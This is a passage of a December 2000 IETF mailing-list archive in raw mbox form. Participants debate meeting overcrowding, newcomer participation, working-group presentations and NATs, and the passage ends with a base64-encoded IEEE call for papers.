[127.0.0.1]) by black-ice.cc.vt.edu (8.12.0.Alpha1/8.12.0.Alpha1) with ESMTP id eBKLBvCW216922; Wed, 20 Dec 2000 16:11:57 -0500 Message-Id: <200012202111.eBKLBvCW216922@black-ice.cc.vt.edu> X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4+dev To: Brian E Carpenter Cc: Keith Moore , ietf@ietf.org Subject: Re: Bottom feeders In-Reply-To: Your message of "Wed, 20 Dec 2000 13:54:22 CST." <3A410E6E.B5506562@hursley.ibm.com> X-Url: http://black-ice.cc.vt.edu/~valdis/ X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t( ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[ <3A410E6E.B5506562@hursley.ibm.com> Mime-Version: 1.0 Content-Type: multipart/signed; boundary="==_Exmh_1315493248P"; micalg=pgp-sha1; protocol="application/pgp-signature" Content-Transfer-Encoding: 7bit Date: Wed, 20 Dec 2000 16:11:57 -0500 X-Loop: ietf@ietf.org --==_Exmh_1315493248P Content-Type: text/plain; charset=us-ascii On Wed, 20 Dec 2000 13:54:22 CST, Brian E Carpenter said: > Hard to say, but the newcomer's briefing and the Tao of the IETF are > both on the web site. Maybe we need some text on the registration page > pointing to those and suggesting strongly that people should read them > before typing in their credit card number. In at least parts of Canada, people are required to answer "a skill testing question" before being able to claim a lottery or similar prize (like the ones fast food companies like to run). Maybe we should have a pop-up that asks "what's the 3rd word in the 5th paragraph of the Tao of IETF" before they can register. ;) And yes, I know literacy tests for elections are illegal in the US - but this isn't an election. -- Valdis Kletnieks Operating Systems Analyst Virginia Tech --==_Exmh_1315493248P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 Comment: Exmh version 2.2 06/16/2000 iQA/AwUBOkEgnHAt5Vm009ewEQIk1ACgy3yA7k6VsrSMtSezVFp/8AhLWNUAnjwC TiAmXAjKpHXMuUCketqzI7bK =qt0k -----END PGP SIGNATURE----- --==_Exmh_1315493248P-- From owner-ietf-outbound Wed Dec 20 17:20:08 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA17612 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 17:20:03 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA15248 for ; Wed, 20 Dec 2000 16:12:17 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id QAA26071; Wed, 20 Dec 2000 16:12:11 -0500 (EST) Message-Id: <200012202112.QAA26071@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: Bill Manning cc: jaltman@COLUMBIA.EDU, moore@cs.utk.edu (Keith Moore), brian@hursley.ibm.com (Brian E Carpenter), jbeck@eng.sun.com (John Beck), ietf@ietf.org Subject: Re: Bottom feeders In-reply-to: Your message of "Wed, 20 Dec 2000 11:26:43 PST." <200012201926.eBKJQhB20373@zed.isi.edu> Date: Wed, 20 Dec 2000 16:10:56 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org I think it's still the case that someone who demonstrates knowledge of the background material and understanding of how the Internet works is quite welcome at IETF. Clueful people are in short supply, it's usually quite easy to distinguish them from less clueful people, and clueful folks that show a willingness to contribute seem to get the opportunity to do so quite quickly. Having said that, I will observe that the most effective path to making useful contributions in IETF meetings seems to be to first make useful contributions to a WG mailing list. Folks who aren't actively participating in at least one WG mailing list should probably think twice before attending an IETF meeting. (however there are other reasons - such as relevant BOFs - which might justify attendance anyway) Keith From owner-ietf-outbound Wed Dec 20 17:41:11 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA18144 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 17:40:03 -0500 (EST) Received: from igw8.watson.ibm.com (igw8.watson.ibm.com [198.81.209.20]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA15557 for ; Wed, 20 Dec 2000 16:22:34 -0500 (EST) Received: from sp1n189at0.watson.ibm.com (sp1n189at0.watson.ibm.com [9.2.104.62]) by igw8.watson.ibm.com (8.9.3/8.9.3/05-14-1999) with ESMTP id QAA10270; Wed, 20 Dec 2000 16:22:34 -0500 Received: from bubble.watson.ibm.com (bubble.watson.ibm.com [9.2.215.93]) by sp1n189at0.watson.ibm.com (8.9.3/Feb-20-98) with ESMTP id QAA14796; Wed, 20 Dec 2000 16:22:34 -0500 Received: (from prasad@localhost) by bubble.watson.ibm.com (8.9.3/8.9.3/04/21/2000) id QAA21112; Wed, 20 Dec 2000 16:22:32 -0500 Date: Wed, 20 Dec 2000 16:22:32 -0500 From: V Guruprasad To: John Stracke Cc: ietf@ietf.org Subject: Re: NATs *ARE* evil! Message-ID: <20001220162232.B21022@bubble.watson.ibm.com> References: <20001219112023.A19099@bubble.watson.ibm.com> <20001219155350.B19352@bubble.watson.ibm.com> <3A3FE2E2.5D0C10E7@ecal.com> <20001220074949.A20498@bubble.watson.ibm.com> <3A40BB4E.1643E09A@ecal.com> <20001220132342.A20854@bubble.watson.ibm.com> <3A40FCCF.651E8B37@ecal.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <3A40FCCF.651E8B37@ecal.com>; from francis@ecal.com on Wed, Dec 20, 2000 at 13:39:11 -0500 X-Loop: ietf@ietf.org On Wed, 20 Dec 2000, John Stracke wrote: > I say it's a weak form because I believe you are wrong in stating that "a > unique server host address does not exist". The URL (ick) is an address > for the server; it's just a higher-level address than an IP address. The "URLs" in my approach do not identify the server host, and it's NOT a higher-level version of the IP address. See Section 2.1, which states the extent of weakness, and 2.3.9 which charts the conditions under which the information can be leaked to the client. The fact that my "URLs" are not high-level host addresses was specifically brought out at the ECUMN'2000 workshop-like conference, where the impact of this development was so strongly felt that attention was drawn to this right from the introductory plenary session. The purpose of the architecture is not to provide security, however. [ btw, what's (ick)? ] thanks, -p. From owner-ietf-outbound Wed Dec 20 17:50:17 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA18356 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 17:50:03 -0500 (EST) Received: from cisco.com (sigma.cisco.com [171.69.63.142]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA15783 for ; Wed, 20 Dec 2000 16:27:29 -0500 (EST) Received: (from dmm@localhost) by cisco.com (8.8.8-Cisco List Logging/8.8.8) id NAA19984; Wed, 20 Dec 2000 13:25:58 -0800 (PST) From: David Meyer Message-Id: <200012202125.NAA19984@cisco.com> Subject: Re: IETF logistics To: bmanning@zed.isi.edu (Bill Manning) Date: Wed, 20 Dec 2000 13:25:58 -0800 (PST) Cc: gih@telstra.net (Geoff Huston), henk@ripe.net ("Henk Uijterwaal (RIPE-NCC)"), ietf@ietf.org In-Reply-To: <200012201917.eBKJHOG20353@zed.isi.edu> from "Bill Manning" at Dec 20, 2000 11:17:24 AM X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Bill, just a minor note > it was done. And with a nod to our commercial brethren, it might bre > reasonable to retransmit sessions over some high-capacity, > under-utilized infrastructure like the I2 fabric to reach more people. > And given the lower costs for video-capture it ought to be possible to > do more than two sessions at a go. do you mean other than multicasting it? Dave From owner-ietf-outbound Wed Dec 20 18:00:17 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA18687 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 18:00:02 -0500 (EST) Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA16559 for ; Wed, 20 Dec 2000 16:45:24 -0500 (EST) Received: from [165.227.249.17] (ip17.proper.com [165.227.249.17]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA28638; Wed, 20 Dec 2000 13:42:06 -0800 (PST) Mime-Version: 1.0 X-Sender: phoffman@mail.imc.org Message-Id: In-Reply-To: References: Date: Wed, 20 Dec 2000 13:41:12 -0800 To: "Christian Huitema" , From: Paul Hoffman / IMC Subject: RE: IETF logistics Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Loop: ietf@ietf.org At 9:44 AM -0800 12/20/00, Christian Huitema wrote: >I have a simpler point about logistics. What we are doing in the IETF >nowadays is downright dangerous. Prevalence of the laptops means that >the room is criss-crossed with power cables. Lack of room means that the >alleys are packed with standing or sitting listeners. If anything goes >wrong and we have to evacuate a room, we are in for the headlines. In >fact, if we continue breaking the fire code in every room of every >meeting, this outcome is almost guaranteed. "Every room"? "Every meeting"? This hyperbole is not justified. It happened in some of the meetings, but not others. And, in some of those overcrowded meetings, Steve Coya came in and made some of us leave so that the aisle was clear. --Paul Hoffman, Director --Internet Mail Consortium From owner-ietf-outbound Wed Dec 20 18:10:13 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA18944 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 18:10:03 -0500 (EST) Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA16560 for ; Wed, 20 Dec 2000 16:45:24 -0500 (EST) Received: from [165.227.249.17] (ip17.proper.com [165.227.249.17]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA28644 for ; Wed, 20 Dec 2000 13:42:07 -0800 (PST) Mime-Version: 1.0 X-Sender: phoffman@mail.imc.org Message-Id: In-Reply-To: <3A410E6E.B5506562@hursley.ibm.com> References: <200012201728.MAA23686@astro.cs.utk.edu> <3A410E6E.B5506562@hursley.ibm.com> Date: Wed, 20 Dec 2000 13:45:03 -0800 To: ietf@ietf.org From: Paul Hoffman / IMC Subject: Re: Bottom feeders Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Loop: ietf@ietf.org At 1:54 PM -0600 12/20/00, Brian E Carpenter wrote: >Hard to say, but the newcomer's briefing and the Tao of the IETF are >both on the web site. It is important to note that the Tao is being substantially upgraded and has lots of new material specifically aimed at dealing with some of the problems discussed on this thread. Look for a revised version of the draft in the near future. --Paul Hoffman, Director --Internet Mail Consortium From owner-ietf-outbound Wed Dec 20 18:21:16 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA19177 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 18:20:02 -0500 (EST) Received: from episteme-software.com (presnick-fw.flexabit.net [64.198.230.34]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA16583 for ; Wed, 20 Dec 2000 16:45:53 -0500 (EST) Received: from [64.198.230.35] (64.198.230.35) by episteme-software.com with ESMTP (Eudora Internet Mail Server 3.0.2); Wed, 20 Dec 2000 14:41:46 -0600 Mime-Version: 1.0 X-Sender: resnick@resnick1.qualcomm.com (Unverified) Message-Id: In-Reply-To: <5.0.2.1.2.20001220090714.03b1dec0@joy.songbird.com> References: <14911.38185.69675.522594@localhost.localdomain> <5.0.0.25.2.20001219090808.009ef9e0@gnat.inet.org> <5.0.0.25.2.20001219110316.00a83680@schultz.argon.com> <14911.38185.69675.522594@localhost.localdomain> <5.0.2.1.2.20001220090714.03b1dec0@joy.songbird.com> X-Mailer: Eudora [Macintosh version 5.1a1-12.00] Date: Wed, 20 Dec 2000 14:41:43 -0600 To: Dave Crocker From: Pete Resnick Subject: Re: IETF logistics Cc: ietf@ietf.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Loop: ietf@ietf.org On 12/20/00 at 9:37 AM -0800, Dave Crocker wrote: >>At 11:20 AM 12/19/00 -0600, Pete Resnick wrote: >>How about a first step: In WG sessions that I chair, there are >>going to be no more presentations. From now on, one week before the >>IETF meeting, document editors will be required to send me a list >>of outstanding issues they wish to discuss in the WG session for >>their particular drafts. > >...I will nonetheless note that we are focusing entirely too much on >symptoms and not enough on causes. When I come upon the guy with an arm lopped-off and blood coming out of him, though the causes might be interesting, I suggest that the symptoms and the cures thereof are really the important things: Sew the arm back on first, find the truck that hit him later. That said, it's perfectly clear to me that the lack of focus in WG sessions is very much caused by (1) some people in the room not doing their homework, (2) the willingness of WG chairs to allow presentations to catch those people up instead of getting on with the work at hand, and (3) more people not doing their homework next time because they know that there will be a catch-up presentation. I can control (2) as a chair, and the more I do that, the less that (3) will happen. I'm stuck with (1), but I'm sure not going to throw up my hands and forget about (2). >I believe that the core requirement for meeting time use is to >properly view it as a very scarce resource... Absolutely!! >Sometimes presentations are exactly the right thing. Nonsense. Leaving aside BOFs (which I do think are different), I defy you to give me one example where a presentation is the right thing to do in a WG face-to-face meeting. Presentations can either be done in written form (on the mailing list or by way of an Internet Draft) or can be saved for some other venue (like Comdex). Working Groups *work*. What justification is there for *ever* giving a presentation in a WG face-to-face meeting? pr -- Pete Resnick Eudora Engineering - QUALCOMM Incorporated Ph: (217)337-6377 or (858)651-4478, Fax: (858)651-1102 From owner-ietf-outbound Wed Dec 20 18:31:30 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA19421 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 18:30:03 -0500 (EST) Received: from igw8.watson.ibm.com (igw8.watson.ibm.com [198.81.209.20]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA16946 for ; Wed, 20 Dec 2000 16:59:16 -0500 (EST) Received: from sp1n189at0.watson.ibm.com (sp1n189at0.watson.ibm.com [9.2.104.62]) by igw8.watson.ibm.com (8.9.3/8.9.3/05-14-1999) with ESMTP id QAA04912; Wed, 20 Dec 2000 16:59:16 -0500 Received: from bubble.watson.ibm.com (bubble.watson.ibm.com [9.2.215.93]) by sp1n189at0.watson.ibm.com (8.9.3/Feb-20-98) with ESMTP id QAA24182; Wed, 20 Dec 2000 16:59:15 -0500 Received: (from prasad@localhost) by bubble.watson.ibm.com (8.9.3/8.9.3/04/21/2000) id QAA21207; Wed, 20 Dec 2000 16:59:14 -0500 Date: Wed, 20 Dec 2000 16:59:01 -0500 From: V Guruprasad To: Keith Moore , ietf@ietf.org Subject: Re: Bottom feeders Message-ID: <20001220165901.A21191@bubble.watson.ibm.com> References: <3A410E6E.B5506562@hursley.ibm.com> <200012202003.PAA25292@astro.cs.utk.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <200012202003.PAA25292@astro.cs.utk.edu>; from moore@cs.utk.edu on Wed, Dec 20, 2000 at 15:02:02 -0500 X-Loop: ietf@ietf.org On Wed, 20 Dec 2000, Keith Moore wrote: > > maybe the registration form should have a short quiz on material from > these documents, which must be filled out before the form is considered > complete. and if not completed successfully the prospective > registrant is warned that he may be wasting his money. Including the overcrowding statistics, and warnings that the venue is not the yankees stadium, that he might not make it into the door, and that making it in is no guarantee of audibility, might help emphasize the potential waste! -p From owner-ietf-outbound Wed Dec 20 18:41:17 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA19605 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 18:40:03 -0500 (EST) Received: from mailhub1.almaden.ibm.com (mailhub1.almaden.ibm.com [198.4.83.44]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA17000 for ; Wed, 20 Dec 2000 17:00:37 -0500 (EST) Received: from maui.almaden.ibm.com (maui.almaden.ibm.com [9.1.24.92]) by mailhub1.almaden.ibm.com (8.8.8/8.8.8) with ESMTP id NAA18866 for ; Wed, 20 Dec 2000 13:55:04 -0800 Received: from hursley.ibm.com (gsine04.us.sine.ibm.com [9.14.6.44]) by maui.almaden.ibm.com (AIX4.3/8.9.3/8.7) with ESMTP id OAA20616 for ; Wed, 20 Dec 2000 14:00:08 -0800 Message-ID: <3A412B5F.A93A6D8C@hursley.ibm.com> Date: Wed, 20 Dec 2000 15:57:51 -0600 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.61 [en] (Win98; I) X-Accept-Language: en,fr MIME-Version: 1.0 To: ietf@ietf.org Subject: Welcoming newcomers References: <200012201926.eBKJQhB20373@zed.isi.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Bill Manning wrote: ... > I enjoyed a much different experience. I was asked by a couple of > WG chairs if I would be willing to take on tasks that needed to be > done, was invited to share opinions and thoughts by folks on the > IAB... as a first time attendee. Getting involved was easy. Those > responsible encouraged new blood. Recent experience seems to indicate > a "winnowing" process is now in effect, making it harder, perhaps > much harder to allow individual contribution. If I was starting today, > I'd avoid the IETF as a venue. If we are projecting this image, it's a problem. But given the constant increase in attendance, I doubt if it's really the case. Certainly in my own WG we have some very active participants who weren't at all involved when we started, and some of the early activists have moved on. If you think that good newcomers are not getting a fair hearing, recommend them to the ADs as WG chairs. And mentor any newcomers that you happen to know. Brian From owner-ietf-outbound Wed Dec 20 18:50:13 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA19825 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 18:50:03 -0500 (EST) Received: from zed.isi.edu (IDENT:root@zed.isi.edu [128.9.160.57]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA17430 for ; Wed, 20 Dec 2000 17:12:30 -0500 (EST) Received: (from bmanning@localhost) by zed.isi.edu (8.11.0/8.11.0) id eBKLClj20524; Wed, 20 Dec 2000 13:12:47 -0800 From: Bill Manning Message-Id: <200012202112.eBKLClj20524@zed.isi.edu> Subject: Re: IETF logistics To: dmm@cisco.com (David Meyer) Date: Wed, 20 Dec 2000 13:12:47 -0800 (PST) Cc: bmanning@ISI.EDU (Bill Manning), gih@telstra.net (Geoff Huston), henk@ripe.net ("Henk Uijterwaal (RIPE-NCC)"), ietf@ietf.org In-Reply-To: <200012202125.NAA19984@cisco.com> from "David Meyer" at Dec 20, 2000 01:25:58 PM X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit % Bill, just a minor note % % % > it was done. And with a nod to our commercial brethren, it might bre % > reasonable to retransmit sessions over some high-capacity, % > under-utilized infrastructure like the I2 fabric to reach more people. % > And given the lower costs for video-capture it ought to be possible to % > do more than two sessions at a go. % % do you mean other than multicasting it? % % Dave My impression is that generally two WG/per time slot are multicast and generally its over commodity Internet provided by the local host. If more WG were multicast and there was an effort to bring I2 capacity to the venue - and - we could use hotel "conference" channels, it would go a long way to get info to folks who could not otherwise get into the tiny room(s). -- --bill From owner-ietf-outbound Wed Dec 20 19:10:19 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA20292 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 19:10:02 -0500 (EST) Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA17859 for ; Wed, 20 Dec 2000 17:30:27 -0500 (EST) Received: from sonic.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP id ; Wed, 20 Dec 2000 22:30:13 +0000 to: ietf@ietf.org Subject: Re: NATs *ARE* evil^H^H^H^Hmpls! In-reply-to: Your message of "Tue, 19 Dec 2000 18:04:52 GMT." Date: Wed, 20 Dec 2000 22:30:11 +0000 Message-ID: <13780.977351411@cs.ucl.ac.uk> From: Jon Crowcroft X-Loop: ietf@ietf.org one of nature's great dualities: statedulness will take root in the most barren soil, even though datagrams will try to route around it j though if nat speak unto nat, then ipv6 be born.... From owner-ietf-outbound Wed Dec 20 21:00:15 2000 Received: by ietf.org (8.9.1a/8.9.1a) id VAA21722 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 21:00:02 -0500 (EST) Received: from zed.isi.edu (IDENT:root@zed.isi.edu [128.9.160.57]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA21646 for ; Wed, 20 Dec 2000 20:53:58 -0500 (EST) Received: (from bmanning@localhost) by zed.isi.edu (8.11.0/8.11.0) id eBL0sIJ20827; Wed, 20 Dec 2000 16:54:18 -0800 From: Bill Manning Message-Id: <200012210054.eBL0sIJ20827@zed.isi.edu> Subject: Re: Welcoming newcomers To: brian@hursley.ibm.com (Brian E Carpenter) Date: Wed, 20 Dec 2000 16:54:18 -0800 (PST) Cc: ietf@ietf.org In-Reply-To: <3A412B5F.A93A6D8C@hursley.ibm.com> from "Brian E Carpenter" at Dec 20, 2000 03:57:51 PM X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit % > Bill said: % > a "winnowing" process is now in effect, making it harder, perhaps % > much harder to allow individual contribution. If I was starting today, % > I'd avoid the IETF as a venue. % % If we are projecting this image, it's a problem. But given the constant % increase in attendance, I doubt if it's really the case. Certainly in my % own WG we have some very active participants who weren't at all involved when % we started, and some of the early activists have moved on. % % If you think that good newcomers are not getting a fair hearing, recommend % them to the ADs as WG chairs. And mentor any newcomers that you happen to know. % % Brian I have reason to beleive that newcomers are NOT getting a fair hearing. Attached is a sanitized bit of email I received in the last week. ------------------------------------ < Just surfed the archive in response to the issues raised at area. So far I have had the area director hiss at me when I meeting and been told that certain ; Wed, 20 Dec 2000 22:55:41 -0500 (EST) Received: from amber (amber.snu.ac.kr [147.46.15.207]) by mmlab.snu.ac.kr (8.9.3/8.9.3) with SMTP id MAA00190; Thu, 21 Dec 2000 12:44:34 +0900 (KST) Message-ID: <007501c06b04$262257c0$cf0f2e93@snu.ac.kr> From: "Kim Dongkyun" To: , , , Subject: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001 Date: Thu, 21 Dec 2000 13:11:51 +0900 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0072_01C06B4F.951F0380" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 X-Loop: ietf@ietf.org This is a multi-part message in MIME format. ------=_NextPart_000_0072_01C06B4F.951F0380 Content-Type: text/plain; charset="ks_c_5601-1987" Content-Transfer-Encoding: base64 DQpIZWxsbyBBTEwsDQoNCiAqIEFwb2xvZ2llcyBpZiB5b3UgcmVjZWl2ZSBtdWx0aXBsZSBjb3Bp ZXMgb2YgdGhpcyAqDQoNCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLQ0KSUVFRSBTeW1wb3NpdW0gb24gQWQgSG9jIFdpcmVsZXNzIE5ldHdvcmtz IChTQVdOKSAyMDAxDQotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0NClN5bXBvc2l1bSBDaGFpcm1hbg0KDQogUHJvZi4gQy1LLiBUb2gNCiBFbGVj dHJpY2FsICYgQ29tcHV0ZXIgRW5naW5lZXJpbmcsDQogR2VvcmdpYSBJbnN0aXR1dGUgb2YgVGVj aG5vbG9neQ0KIEZheDogNDA0LTg5NC03NDY4IEUtbWFpbDoNCiBja3RvaEBlY2UuZ2F0ZWNoLmVk dQ0KDQpJRUVFIENvbXNvYyBMaWFzb24NCg0KIEdheWxlIFdlaXNtYW4NCiBJRUVFIENvbW11bmlj YXRpb25zIFNvY2lldHkgDQoNCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpBYm91dCBJRUVFIFNBV04yMDAxDQotLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KVGhl IElFRUUgU3ltcG9zaXVtIG9uIEFkLUhvYyBXaXJlbGVzcyBOZXR3b3JrcyAoU0FXTjIwMDEpIGlz IGEgDQpuZXcgYW5kICpoaWdoIHF1YWxpdHkqIHRlY2huaWNhbCBtZWV0aW5nICh0byBiZSBoZWxk IGFzIHBhcnQgb2YgDQpHTE9CRUNPTSAyMDAxKSBmb3IgcmVzZWFyY2hlcnMgdG8gcHJlc2VudCB0 aGVpciBsYXRlc3QgcmVzZWFyY2ggDQp3b3JrIHJlbGF0ZWQgdG8gdGhlIGZhc3QgZXZvbHZpbmcg ZmllbGQgb2YgYWQgaG9jIChtdWx0aWhvcCwNCmFkYXB0aXZlLCBhbmQgc2VsZi1vcmdhbml6aW5n KSB3aXJlbGVzcyBuZXR3b3JrcyBhbmQgcGVydmFzaXZlDQpjb21tdW5pY2F0aW9ucy4gU3VjaCBu ZXR3b3JrcyBjb3VsZCBoYXZlIHN0cm9uZyBwb3RlbnRpYWwgaW1wYWN0IA0Kb24gb3VyIGRhaWx5 IGxpdmVzIChmb3IgZXhhbXBsZSBhdCBob21lIGFuZCBvbi10aGUtcm9hZCkgYW5kIHRoZSANCndh eSB3ZSB3b3JrLiBUaGV5IGFyZSBhbHNvIHBhcnRpY3VsYXJseSBhdHRyYWN0aXZlIGZvciBtaWxp dGFyeSANCmFuZCBlbWVyZ2VuY3kgb3BlcmF0aW9ucyBkdWUgdG8gdGhlaXIgZmFzdCBkZXBsb3lh YmxlIGFuZCANCnNlbGYtb3JnYW5pemluZyBjaGFyYWN0ZXJpc3RpY3MuIEZ1dHVyZSBhZCBob2Mg bmV0d29ya3MgYXJlIGFsc28NCmNhcGFibGUgb2Ygc3VwcG9ydGluZyBtdWx0aW1lZGlhLiBIaWdo IHF1YWxpdHkgcGFwZXJzIGFyZSBpbnZpdGVkIA0KZnJvbSByZXNlYXJjaGVycyBpbiBhY2FkZW1p YSBhbmQgaW5kdXN0cmllcyB3aG8gYXJlIGludm9sdmVkIGluIA0KdGhpcyBhcmVhIG9mIHdvcmsu IA0KDQotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLQ0KVG9waWNzIG9mIEludGVyZXN0IEluY2x1ZGUgKGJ1dCBub3QgYXJlIGxp bWl0ZWQgdG8pOg0KDQotIEFkIEhvYyBSb3V0aW5nIFByb3RvY29scy9BbGdvcml0aG1zIA0KLSBB ZCBIb2MgVHJhbnNwb3J0IElzc3VlcyANCi0gTWVkaWEgQWNjZXNzIFRlY2huaXF1ZXMvUHJvdG9j b2xzDQotIFNlbnNvciAmIERhdGEgRnVzaW9uIEFkIEhvYyBOZXR3b3Jrcw0KLSBBZCBob2MgbmV0 d29yayBhcmNoaXRlY3R1cmVzIA0KLSBFcnJvciAmIExpbmsgQ29udHJvbCBUZWNuaXF1ZXMNCi0g QWNjZXNzICYgU2Vzc2lvbiBTdXBwb3J0IA0KLSBBZCBIb2MgTXVsdGljYXN0aW5nIFByb3RvY29s cy9BbGdvcml0aG1zIA0KLSBTZXJ2aWNlIERpc2NvdmVyeSBBbGdvcml0aG1zIA0KLSBMb3cgUG93 ZXIgQWxnb3JpdGhtcyBhbmQgUHJvdG9jb2xzIA0KLSBRdWFsaXR5IG9mIFNlcnZpY2UgSXNzdWVz IA0KLSBNb2JpbGUgSVAgd2l0aCBBZCBIb2MgDQotIFBlcmZvcm1hbmNlIG9mIEJsdWV0b290aCBO ZXR3b3JrcyANCi0gSW50ZWdyYXRpb24gSXNzdWVzDQoNCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCkluc3RydWN0aW9ucyBmb3Ig QXV0aG9ycw0KDQpUZWNobmljYWwgcGFwZXJzIHNob3VsZCBiZSBzdWJtaXR0ZWQgdG8gdGhlIEds b2JlY29tIENvbW1pdHRlZSANCmZvbGxvd2luZyB0aGUgZ2VuZXJhbCBHbG9iZWNvbSBzdWJtaXNz aW9uIHByb2Nlc3MgYW5kIGluc3RydWN0aW9ucyANCihBVVRIT1IgS0lUKS4gSW4gb3JkZXIgdG8g ZW5zdXJlIHRoYXQgeW91ciBwYXBlciBpcyBwcm9wZXJseQ0Kcm91dGVkIHRvIHRoaXMgU3ltcG9z aXVtLCBpdCBpcyBWRVJZIElNUE9SVEFOVCB0aGF0IHlvdSBleHBsaWNpdGx5DQppZGVudGlmeSBT eW1wb3NpdW0gb24gQWQgSG9jIFdpcmVsZXNzIE5ldHdvcmtzIGFzIHRoZSBpbnRlbmRlZCANCnN5 bXBvc2l1bSB0byB3aGljaCB5b3UgYXJlIHN1Ym1pdHRpbmcgdGhlIHBhcGVyLiBGYWlsdXJlIHRv IGRvDQpzbyBtYXkgcmVzdWx0IGluIHlvdXIgcGFwZXIgYmVpbmcgZm9yd2FyZGVkIHRvIGFub3Ro ZXIgc3ltcG9zaXVtLiANCkFsbCBzdWJtaXNzaW9ucyBhcmUgZG9uZSBlbGVjdHJvbmljYWxseS4g U3VibWlzc2lvbiBkZWFkbGluZSBpcw0KMzFzdCBNYXJjaCAyMDAxLiANCg0KQWNjZXB0ZWQgcGFw ZXJzIHdpbGwgYmUgcHVibGlzaGVkIGluIHRoZSBJRUVFIEdMT0JFQ09NIHByb2NlZWRpbmdzLg0K 